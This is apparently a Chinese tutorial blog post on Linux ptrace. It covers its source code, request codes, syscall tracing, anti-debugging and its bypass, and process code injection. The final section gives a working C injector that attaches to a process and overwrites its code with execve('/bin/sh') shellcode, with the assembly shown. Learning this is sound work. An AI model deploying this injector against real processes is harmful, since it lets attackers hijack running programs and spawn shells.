0%

Linux ptrace-原理和运用

Linux 系统调用 - ptrace

ptrace 是 Linux 中的一个系统调用,可以让父进程控制子进程运行,并可以检查和改变子进程的核心 image 的功能

其基本原理是:

  • 当使用了 ptrace 跟踪后,所有发送给被跟踪的子进程的信号(除了SIGKILL),都会被转发给父进程
  • 子进程会被阻塞,这时子进程的状态就会被系统标注为 TASK_TRACED
  • 父进程收到信号后,就可以对停止下来的子进程进行检查和修改,然后让子进程继续运行

ptrace 在用户态的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
long int
ptrace (enum __ptrace_request request, ...)
{
long int res, ret;
va_list ap;
pid_t pid;
void *addr, *data;

va_start (ap, request);
pid = va_arg (ap, pid_t);
addr = va_arg (ap, void *);
data = va_arg (ap, void *);
va_end (ap);

if (request > 0 && request < 4)
data = &ret;

res = INLINE_SYSCALL (ptrace, 4, request, pid, addr, data);
if (res >= 0 && request > 0 && request < 4)
{
__set_errno (0);
return ret;
}

return res;
}
  • 对于不同的 ptrace 命令有着不同的参数,简化版本如下:
1
2
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
  • enum __ptrace_request request:指示了 ptrace 要执行的命令
  • pid_t pid:指示 ptrace 要跟踪的进程ID
  • void *addr:指示要监控的内存地址
  • void *data:存放读取出的或者要写入的数据

ptrace 在内核中的接口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
unsigned long, data)
{
struct task_struct *child;
long ret;

if (request == PTRACE_TRACEME) {
ret = ptrace_traceme();
if (!ret)
arch_ptrace_attach(current);
goto out;
}

child = find_get_task_by_vpid(pid);
if (!child) {
ret = -ESRCH;
goto out;
}

if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
ret = ptrace_attach(child, request, addr, data);
/*
* Some architectures need to do book-keeping after
* a ptrace attach.
*/
if (!ret)
arch_ptrace_attach(child);
goto out_put_task_struct;
}

ret = ptrace_check_attach(child, request == PTRACE_KILL ||
request == PTRACE_INTERRUPT);
if (ret < 0)
goto out_put_task_struct;

ret = arch_ptrace(child, request, addr, data);
if (ret || request != PTRACE_DETACH)
ptrace_unfreeze_traced(child);

out_put_task_struct:
put_task_struct(child);
out:
return ret;
}
  • 其中对 PTRACE_TRACEME 和 PTRACE_ATTACH 做了特殊处理

常见 ptrace 命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
/* Type of the REQUEST argument to `ptrace.'  */
enum __ptrace_request
{
/* 跟踪发出此请求的进程,此过程接收的所有信号都可以被其父级拦截,其父级可以使用其他"ptrace"请求 */
PTRACE_TRACEME = 0,
#define PT_TRACE_ME PTRACE_TRACEME

/* 返回进程text空间中,地址ADDR处的word(字) */
PTRACE_PEEKTEXT = 1,
#define PT_READ_I PTRACE_PEEKTEXT

/* 返回进程data空间中,地址ADDR处的word(字) */
PTRACE_PEEKDATA = 2,
#define PT_READ_D PTRACE_PEEKDATA

/* 返回进程用户区域中,偏移为ADDR的word(字) */
PTRACE_PEEKUSER = 3,
#define PT_READ_U PTRACE_PEEKUSER

/* 将一字大小的DATA写入进程的text空间,地址为ADDR */
PTRACE_POKETEXT = 4,
#define PT_WRITE_I PTRACE_POKETEXT

/* 将一字大小的DATA写入进程的data空间,地址为ADDR */
PTRACE_POKEDATA = 5,
#define PT_WRITE_D PTRACE_POKEDATA

/* 将一字大小的DATA写入进程的用户区域,偏移量为ADDR */
PTRACE_POKEUSER = 6,
#define PT_WRITE_U PTRACE_POKEUSER

/* 继续该process(进程) */
PTRACE_CONT = 7,
#define PT_CONTINUE PTRACE_CONT

/* 杀死该process(进程) */
PTRACE_KILL = 8,
#define PT_KILL PTRACE_KILL

/* 单步执行该process(进程) */
PTRACE_SINGLESTEP = 9,
#define PT_STEP PTRACE_SINGLESTEP

/* 附加到正在运行的进程 */
PTRACE_ATTACH = 16,
#define PT_ATTACH PTRACE_ATTACH

/* 从附加到'PTRACE_ATTACH'的进程中分离 */
PTRACE_DETACH = 17,
#define PT_DETACH PTRACE_DETACH

/* 继续并在进入系统调用或从系统调用返回时停止 */
PTRACE_SYSCALL = 24,
#define PT_SYSCALL PTRACE_SYSCALL

/* 设置跟踪筛选器选项 */
PTRACE_SETOPTIONS = 0x4200,
#define PT_SETOPTIONS PTRACE_SETOPTIONS

/* 获取最后一条ptrace消息 */
PTRACE_GETEVENTMSG = 0x4201,
#define PT_GETEVENTMSG PTRACE_GETEVENTMSG

/* 获取流程的siginfo(签名信息) */
PTRACE_GETSIGINFO = 0x4202,
#define PT_GETSIGINFO PTRACE_GETSIGINFO

/* 为进程设置新的siginfo(签名信息) */
PTRACE_SETSIGINFO = 0x4203,
#define PT_SETSIGINFO PTRACE_SETSIGINFO

/* 获取寄存器内容 */
PTRACE_GETREGSET = 0x4204,
#define PTRACE_GETREGSET PTRACE_GETREGSET

/* 设置寄存器内容 */
PTRACE_SETREGSET = 0x4205,
#define PTRACE_SETREGSET PTRACE_SETREGSET

/* 类似于'PTRACE_ATTACH',但不要强迫跟踪trap(陷阱),也不会影响signal(信号)或group stop state(组停止状态) */
PTRACE_SEIZE = 0x4206,
#define PTRACE_SEIZE PTRACE_SEIZE

/* 陷阱捕获了tracee */
PTRACE_INTERRUPT = 0x4207,
#define PTRACE_INTERRUPT PTRACE_INTERRUPT

/* 等待下一个group event(事件组) */
PTRACE_LISTEN = 0x4208,
#define PTRACE_LISTEN PTRACE_LISTEN

/* 检索siginfo_t结构,而无需从队列中删除信号 */
PTRACE_PEEKSIGINFO = 0x4209,
#define PTRACE_PEEKSIGINFO PTRACE_PEEKSIGINFO

/* 获取被阻止信号的掩码 */
PTRACE_GETSIGMASK = 0x420a,
#define PTRACE_GETSIGMASK PTRACE_GETSIGMASK

/* 更改被阻止信号的掩码 */
PTRACE_SETSIGMASK = 0x420b,
#define PTRACE_SETSIGMASK PTRACE_SETSIGMASK

/* 获取seccomp BPF筛选器 */
PTRACE_SECCOMP_GET_FILTER = 0x420c,
#define PTRACE_SECCOMP_GET_FILTER PTRACE_SECCOMP_GET_FILTER

/* 获取seccomp BPF筛选器元数据 */
PTRACE_SECCOMP_GET_METADATA = 0x420d,
#define PTRACE_SECCOMP_GET_METADATA PTRACE_SECCOMP_GET_METADATA

/* 获取有关系统调用的信息 */
PTRACE_GET_SYSCALL_INFO = 0x420e
#define PTRACE_GET_SYSCALL_INFO PTRACE_GET_SYSCALL_INFO
};

ptrace 的使用 - 调试

Linux 调试工具 GDB 的底层就是使用了 ptrace,主要是 PTRACE_ATTACH 功能

在使用 ptrace 之前需要在两个进程间建立追踪关系:(追踪者 tracer 和被追踪者 tracee)

  • ptrace 编程的主要部分是 tracer,它可以通过附着的方式与 tracee 建立追踪关系
  • 建立之后,可以控制 tracee 在特定的时候暂停并向 tracer 发送相应信号,而 tracer 则通过循环等待 waitpid 来处理 tracee 发来的信号

其中会用到4个 ptrace 命令:

  • PTRACE_TRACEME:tracee 表明自己想要被追踪,这会自动与父进程建立追踪关系(这也是唯一能被 tracee 使用的 request,其他的 request 都由 tracer 指定)
  • PTRACE_PEEKUSER:返回进程用户区域中,偏移为ADDR处,一字大小的数据,使用 ORIG_RAX 计算 RAX 的偏移,从而获取将要执行的系统调用号
  • PTRACE_GETREGS:获取寄存器内容,用结构体 user_regs_struct 进行保存
  • PTRACE_SYSCALL:在子进程进入和退出系统调用时都将其暂停

使用 ptrace 的编程案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<sys/wait.h>
#include<sys/reg.h>
#include<sys/user.h>
#include<sys/ptrace.h>
#include<unistd.h>
#include<sys/syscall.h>
#include<stdio.h>

int main() {
pid_t child;
long syscallID;
int status;
int calling = 0;
struct user_regs_struct regs;
child = fork();
if(child == 0) {
ptrace(PTRACE_TRACEME, 0, 0); /* tracee表明自己想要被追踪 */
execl("./HelloWorld", "HelloWorld", NULL);
}
else {
while(1) {
wait(&status);
if(WIFEXITED(status))
break;
syscallID = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, 0); /* 获取rax值从而判断将要执行的系统调用号 */
ptrace(PTRACE_GETREGS, child, 0, &regs); /* 获取寄存器内容 */
if(calling == 0) {
printf("SYS_call ID:%d\n",syscallID);
printf("SYS_call with rdi:0x%llx, rsi:0x%llx, rdx:0x%llx\n",regs.rdi, regs.rsi, regs.rdx);
calling = 1;
}
else {
calling = 0;
}
ptrace(PTRACE_SYSCALL, child, 0, 0); /* 在子进程进入和退出系统调用时都将其暂停 */
}
}
return 0;
}

被测试的文件:

1
2
3
4
int main(){
printf("Hello World!\n");
return 0;
}

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
exp ./test               
SYS_call ID:59
SYS_call with rdi:0x0, rsi:0x0, rdx:0x0
SYS_call ID:12
SYS_call with rdi:0x0, rsi:0x7f6f9d3ace2c, rdx:0x4c
SYS_call ID:158
SYS_call with rdi:0x3001, rsi:0x7ffc51d572c0, rdx:0x7f6f9d3a32d0
SYS_call ID:21
SYS_call with rdi:0x7f6f9d3af9e0, rsi:0x4, rdx:0x7f6f9d387270
SYS_call ID:257
SYS_call with rdi:0xffffff9c, rsi:0x7f6f9d3acb80, rdx:0x80000
SYS_call ID:5
SYS_call with rdi:0x3, rsi:0x7ffc51d564c0, rdx:0x7ffc51d564c0
SYS_call ID:9
SYS_call with rdi:0x0, rsi:0x152c8, rdx:0x1
SYS_call ID:3
SYS_call with rdi:0x3, rsi:0x152c8, rdx:0x1
SYS_call ID:257
SYS_call with rdi:0xffffff9c, rsi:0x7f6f9d3b6f60, rdx:0x80000
SYS_call ID:0
SYS_call with rdi:0x3, rsi:0x7ffc51d56668, rdx:0x340
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d56280, rdx:0x310
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d56250, rdx:0x20
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d56200, rdx:0x44
SYS_call ID:5
SYS_call with rdi:0x3, rsi:0x7ffc51d56510, rdx:0x7ffc51d56510
SYS_call ID:9
SYS_call with rdi:0x0, rsi:0x2000, rdx:0x3
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d56160, rdx:0x310
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d55e40, rdx:0x20
SYS_call ID:17
SYS_call with rdi:0x3, rsi:0x7ffc51d55e20, rdx:0x44
SYS_call ID:9
SYS_call with rdi:0x0, rsi:0x1f1660, rdx:0x1
SYS_call ID:9
SYS_call with rdi:0x7f6f9d19f000, rsi:0x178000, rdx:0x5
SYS_call ID:9
SYS_call with rdi:0x7f6f9d317000, rsi:0x4e000, rdx:0x1
SYS_call ID:9
SYS_call with rdi:0x7f6f9d365000, rsi:0x6000, rdx:0x3
SYS_call ID:9
SYS_call with rdi:0x7f6f9d36b000, rsi:0x3660, rdx:0x3
SYS_call ID:3
SYS_call with rdi:0x3, rsi:0x29, rdx:0x0
SYS_call ID:158
SYS_call with rdi:0x1002, rsi:0x7f6f9d370540, rdx:0xffff809062c8f1a0
SYS_call ID:10
SYS_call with rdi:0x7f6f9d365000, rsi:0x4000, rdx:0x1
SYS_call ID:10
SYS_call with rdi:0x5574d07f8000, rsi:0x1000, rdx:0x1
SYS_call ID:10
SYS_call with rdi:0x7f6f9d3b4000, rsi:0x1000, rdx:0x1
SYS_call ID:11
SYS_call with rdi:0x7f6f9d371000, rsi:0x152c8, rdx:0xb9b00000000
SYS_call ID:5
SYS_call with rdi:0x1, rsi:0x7ffc51d57120, rdx:0x7ffc51d57120
SYS_call ID:12 /* 调用"brk-12"为tcache struct分配空间 */
SYS_call with rdi:0x0, rsi:0x21000, rdx:0x2b0
SYS_call ID:12 /* 调用"brk-12"为标准输出分配缓存 */
SYS_call with rdi:0x5574d1669000, rsi:0x21000, rdx:0x7f6f9d36c620
Hello World!
SYS_call ID:1 /* 调用"write-1" */
SYS_call with rdi:0x1, rsi:0x5574d16482a0, rdx:0xd
  • 可以看见 tracee 从调用 execve-59 构建进程上下文到调用 write-1 的全过程

ptrace 的使用 - 反调试

ptrace 反调试的核心就在于主动执行 PTRACE_TRACEME:

  • 如果当前进程已经被追踪了,就不能被其他父进程追踪
  • 因此可以提前执行 PTRACE_TRACEME 命令来避免被 GDB 调试

测试案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <sys/ptrace.h>
#include <stdio.h>

int main()
{
if (ptrace(PTRACE_TRACEME, 0, 0, 0) ==-1 )
{
printf("don't trace me!\n");
return 1;
}
printf("no one trace me!\n");
return 0;
}

正常执行结果:

1
2
➜  exp ./test
no one trace me!

调试结果:

1
2
3
4
pwndbg> c
Continuing.
don't trace me!
[Inferior 1 (process 4654) exited with code 01]

绕过的方式很简单,只要把相关的地方给 nop 掉就好:

可以直接查看符号表来确定是否存在 prtace:

1
2
3
4
5
exp objdump -t test | grep ptrace
0000000000000000 F *UND* 0000000000000000 ptrace@@GLIBC_2.2.5
exp readelf -s test | grep ptrace
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ptrace@GLIBC_2.2.5 (2)
60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ptrace@@GLIBC_2.2.5

ptrace 的使用 - 代码注入

ptrace 可以对进程的追踪,并进行流程控制:

  • 用户寄存器值读取和写入操作
  • 内存进行读取和修改

需要用到的 ptrace 命令如下:

  • PTRACE_POKETEXT,PTRACE_POKEDATA:往内存地址中写入一个字节,内存地址由 addr 给出
  • PTRACE_PEEKTEXT,PTRACE_PEEKDATA:从内存地址中读取一个字节,内存地址由 addr 给出
  • PTRACE_ATTACH:跟踪指定 pid 进程
  • PTRACE_GETREGS:读取所有寄存器的值
  • PTRACE_CONT:继续执行被跟踪的子进程,signal 为“0”则忽略引起调试进程中止的信号,若不为“0”则继续处理信号 signal
  • PTRACE_SETREGS:设置寄存器
  • PTRACE_DETACH:结束跟踪

下面程序用于在 tracee 中注入一段 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
const int word_size = sizeof(size_t);

void putdata(pid_t pid, size_t addr, char *str, int len)
{
char *code;
int i, j;
union u{
size_t val;
char word[word_size];
}data;
i = 0;
j = len / word_size;
code = str;
while(i < j) {
memcpy(data.word, code, word_size);
ptrace(PTRACE_POKEDATA, pid, addr + i * 8, data.val);
printf("%llx\n",ptrace(PTRACE_PEEKDATA, pid, addr + i * 8, NULL));
++i;
code += word_size;
}
j = len % word_size;
if(j != 0) {
memcpy(data.word, code, j);
ptrace(PTRACE_POKEDATA, pid, addr + i * 8, data.val);
printf("%llx\n",ptrace(PTRACE_PEEKDATA, pid, addr + i * 8, NULL));
}
}

char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x48\x31\xd2\x52\x48\x89\xe6\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05";

int main(int argc, char *argv[])
{
pid_t pid;
struct user_regs_struct regs;
pid = atoi(argv[1]);
ptrace(PTRACE_ATTACH, pid, NULL, NULL); /* 尝试连接目标进程 */
wait(NULL);
ptrace(PTRACE_GETREGS, pid, NULL, &regs); /* 获取tracee的寄存器 */
printf("get target RIP: 0x%llx\n",regs.rip);
putdata(pid,regs.rip,shellcode,strlen(shellcode));
regs.rip += 6;
ptrace(PTRACE_SETREGS, pid, NULL, &regs); /* 设置寄存器 */
ptrace(PTRACE_CONT, pid, NULL, NULL); /* 继续执行被跟踪的子进程 */
printf("This process is attacked by %s",__FUNCTION__);
ptrace(PTRACE_DETACH, pid, NULL, NULL); /* 结束跟踪 */
return 0;
}

其中的 shellcode 就是 execve(/bin/sh),汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
section .text

global _start

_start:
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
xor rax,rax
mov al,59
syscall
  • 进行编译:
1
2
➜  exp nasm -f elf64 sh.s -o sh.o
➜ exp ld sh.o -o sh
  • 显示二进制代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  exp objdump --disassemble ./sh

./sh: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
401000: 48 31 d2 xor %rdx,%rdx
401003: 52 push %rdx
401004: 48 89 e6 mov %rsp,%rsi
401007: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
40100e: 2f 73 68
401011: 50 push %rax
401012: 48 89 e7 mov %rsp,%rdi
401015: 48 31 c0 xor %rax,%rax
401018: b0 3b mov $0x3b,%al
40101a: 0f 05 syscall

测试文件如下:

1
2
3
4
5
6
7
8
9
10
11
#include<unistd.h>
#include <stdio.h>
int main()
{
printf("pid=%d\n",getpid());
for(int num=0;num<20;num++) {
printf("num = %d\n",num);
sleep(2);
}
return 0;
}